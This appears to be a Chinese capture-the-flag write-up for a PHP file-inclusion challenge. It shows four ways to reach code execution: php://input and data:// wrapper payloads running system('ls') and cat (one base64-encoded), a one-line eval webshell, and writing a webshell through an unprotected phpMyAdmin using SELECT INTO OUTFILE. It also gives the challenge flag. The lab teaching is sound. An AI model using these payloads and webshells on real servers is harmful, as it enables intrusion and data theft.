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Web_php_include

伪协议与文件包含 - -Zad- - 博客园 (cnblogs.com)

方法一：利用Bury Suite，写入数据流

(php伪协议)

1.打开文件发现，题目有下列几个函数

 

strstr() 函数搜索字符串在另一字符串中的第一次出现。

注释：该函数是二进制安全的。

注释：该函数对大小写敏感。如需进行不区分大小写的搜索，请使用 stristr() 函数。

PHP strstr() 函数 (w3school.com.cn)

https://blog.csdn.net/jzw0831
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8%25E6%25BC%258F%25E6%25B4%259E&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/jzw0831/article/details/121978622
https://www.cnblogs.com/kuaile1314/p/11897097.html
https://www.w3school.com.cn/php/func_string_stristr.asp
https://www.w3school.com.cn/php/func_string_strstr.asp


 

str_replace() 函数*替换字符串中的一些字符*（区分大小写）*。

该函数必须遵循下列规则：

如果搜索的字符串是一个数组，那么它将返回一个数组。

如果搜索的字符串是一个数组，那么它将对数组中的每个元素进行查找和替换。

如果同时需要对某个数组进行查找和替换，并且需要执行替换的元素少于查找到的元素的数量，那么多余的元

素将用空字符串进行替换。

如果是对一个数组进行查找，但只对一个字符串进行替换，那么替代字符串将对所有查找到的值起作用。

注释：该函数是区分大小写的。请使用 str_ireplace() 函数执行不区分大小写的搜索。

注释：该函数是二进制安全的。

 

include（或 require）语句会获取指定文件中存在的所有文本/代码/标记，并复制到使用 include 语句的文件
中。

包含文件很有用，如果您需要在网站的多张页面上引用相同的 PHP、HTML 或文本的话。

PHP Include 文件 (w3school.com.cn)

https://www.runoob.com/php/func-string-str-ireplace.html
https://www.w3school.com.cn/php/php_includes.asp


PHP Include 文件 (jb51.net)

2.由此可知应该要使用大小写绕过

利用 Php://input 来进行数据流的请求（利用post请求）

在CTF中经常使用的是php://filter和php://input

php://filter用于读取源码，php://input用于执行php代码

php://input需要post请求提交数据

php://filter可以get提交?a=php://filter/read=convert.base64-encode/resource=xxx.php

伪协议与文件包含 - -Zad- - 博客园 (cnblogs.com)

利用 <?php system("ls"); ?> 携带 "ls" 命令,查找当前目录，发现找到了，类似flag的 fl4gisisish3r3.php

PHP: php:// - Manual

 

3.通过cat 命令，找到  fl4gisisish3r3.php

输入<?php system("cat fl4gisisish3r3.php"); ?>

发现找到了对应的flag

flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}"

方法二：利用 data:// 伪协议,写入数据流

https://www.jb51.net/w3school/php/php_includes.htm
https://www.cnblogs.com/kuaile1314/p/11897097.html
https://www.php.net/manual/zh/wrappers.php.php


伪协议：

data://text/plain,xxx(数据)

data://text/plain;base64,xxxx(base64编码后的数据)

Data URI scheme (data: base64) 协议常用数据格式 - 大地长空 - 博客园 (cnblogs.com)

学习真的太难了 (cnblogs.com)

利用  data:// 写入php* *<?php system("ls");?>

因此有两种书写方式

1.1 data://text/plain,xxx形式

利用 ?page=data://text/plain,<?php system("ls");?>

1.2 再利用 cat 命令，得到 fl4gisisish3r3.php

1.3 在源码中找到flag

flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}"

https://www.cnblogs.com/liyongquan/p/8615928.html
https://www.cnblogs.com/-an-/p/12372220.html


 

2.1data://text/plain;base64,xxxx(base64编码后的数据)

<?php system("cat fl4gisisish3r3.php");?>

的base64 为PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik7Pz4=

 

2.2 输入?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik7Pz4=

 

2.3 在源码中即可找到 flag

flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}"

 

方法三，利用 data:// 伪协议，写入一句话木马

1.利用data伪协议上传一句话木马*

<?php eval($_POST[shell]);?>



2.利用蚁剑连接，输入URL 和密码  shell

 

3.进去即可找到对应的  fl4gisisish3r3.php

 

4.点进去即可找到flag



flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}"

 

方法四 利用后台写入一句话木马

1.利用御剑扫描网站，发现存在  phpMyAdmin平台，并且没有密码，而用户名一般为  root

phpMyAdmin 是一个以PHP为基础，以Web-Base方式架构在网站主机上的MySQL的数据库管理工具，让管理
者可用Web接口管理MySQL数据库。

 

2.进入后，先测试是否为可写入

输入 SHOW VARIABLES LIKE "secure_file_priv"

https://baike.baidu.com/item/PHP/9337
https://baike.baidu.com/item/MySQL/471251
https://baike.baidu.com/item/MySQL%25E6%2595%25B0%25E6%258D%25AE%25E5%25BA%2593/10991669


 

secure_file_priv参数说明_xiaocao13140_51CTO博客

3.得到结果后，发现可写入，写入一句话木马

没有具体的 Value 说明可以写入

 

linux默认tmp是可写目录 试试写入一句话马 菜刀连接

输入select "<?php eval(@$_POST['flag']); ?>"into outfile '/tmp/test.php'

select into outfile命令作用将查询结果输出保存到一个文件中

黑客在发现sql注入时，如何使用into outfile向服务器写入木马 (baidu.com)

 

其中 linux默认tmp是可写目录 ，可在/tmp/text.php的目录下找到写进去的一句话木马。

 

在 /var/www/ 目录下可找到 fl4gisisish3r3.php

https://blog.51cto.com/xiaocao13140/2120189
https://baijiahao.baidu.com/s?id=1650711425682220792&wfr=spider&for=pc


4.即可找到flag

flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}"
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